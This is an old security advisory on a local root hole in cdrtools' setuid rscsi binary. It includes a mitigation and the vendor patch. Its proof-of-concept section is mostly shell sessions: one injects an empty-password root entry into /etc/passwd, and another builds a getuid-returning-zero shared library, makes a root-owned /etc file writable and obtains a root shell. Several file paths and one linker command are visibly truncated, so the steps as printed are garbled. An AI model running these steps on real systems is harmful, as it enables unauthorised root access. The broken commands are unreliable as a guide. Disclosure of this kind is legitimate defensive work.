SRT2003-08-01-0126 - cdrtools local root exploit

Type securityvulns
Reporter Securityvulns
Modified 2003-08-04T00:00:00


Secure Network Operations, Inc. Strategic Reconnaissance Team Team Lead Contact

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Quick Summary:

Advisory Number : SRT2003-08-01-0126 Product : cdrtools (rscsi) Version : Version <= cdrtools-2.x Vendor : Class : local Criticality : High Operating System(s) : *nix

High Level Explanation

High Level Description : suid rscsi overwrites root owned files What to do : chmod -s /opt/schily/sbin/rscsi

Technical Details

Proof Of Concept Status : SNO has PoC code for this issue Low Level Description :

Cdrecord supports DVD-R and DVD-RW with all known DVD-writers on all UNIX like operating systems and on Win32.

A setuid helper binary allows files to be overwritten by non root users. One side effect of the overwritten file is that the permissions become writable by the user calling the rscsi program. These issues can allow a non root user to take local root on the machine that has cdrtools installed

Initial attempts to exploit this issue failed for an unknown reason... this however may still be a valid method of attack. We make use of the first argument passed to rscsi in order to choose the file we wish to write to.

Due to the output from rscsi we make use of 0x08 in order to delete some of the characters that otherwise would be written. This attack method relys on placing a line of text at the end of a file. Please note that 2 other lines of garbage will be placed in the file which may cause other issues.

elguapo@gentoo elguapo $ echo C`echo -e "\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` | /opt/schily/sbin/rscsi /tmp/lala Segmentation fault (this segfault is not related to the security issue)

elguapo@gentoo elguapo $ cat /tmp/lala rscsid: user id 1000, name elguapo rmt: stdin is a PIPE r00t::0:0:root:/root:/bin/bash

When attempting to echo this line to the password file we get the following error. Please note that the password file IS still overwritten at this point.

E0 Illegal user id for RSCSI server 0

elguapo@gentoo elguapo $ cat /etc/passwd rscsid: Illegal user '(NULL POINTER)' id 1000 for RSCSI server rscsid:>E 0 (Illegal user id for RSCSI server) []

We DO however have other exploitation options such as the one listed below.

[kf@vegeta kf]$ ls -al /etc/ ls: /etc/ No such file or directory

[kf@vegeta kf]$ cat > oops.c int getuid(void) { return(0); }

[kf@vegeta kf]$ gcc -c -o oops.o oops.c [kf@vegeta kf]$ ld -shared -o oops.o [kf@vegeta kf]$ ls -al -rwxrwxr-x 1 kf kf 1714 Jul 30 18:53

[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/ E0 Garbage command 0

Note that we now have write permissions to /etc/ -rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/

Time to take root [kf@vegeta kf]$ echo /home/kf/ > /etc/ [kf@vegeta kf]$ su [root@vegeta kf]# rm /etc/ rm: remove regular file `/etc/'? y [root@vegeta kf]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Patch or Workaround : chmod -s /opt/schily/sbin/rscsi

Vendor Status : patched in cdrtools-2.01a18.tar.gz

Bugtraq URL : to be assigned

This advisory was released by Secure Network Operations,Inc. as a matter of notification to help administrators protect their networks against the described vulnerability. Exploit source code is no longer released in our advisories. Contact for information on how to obtain exploit information.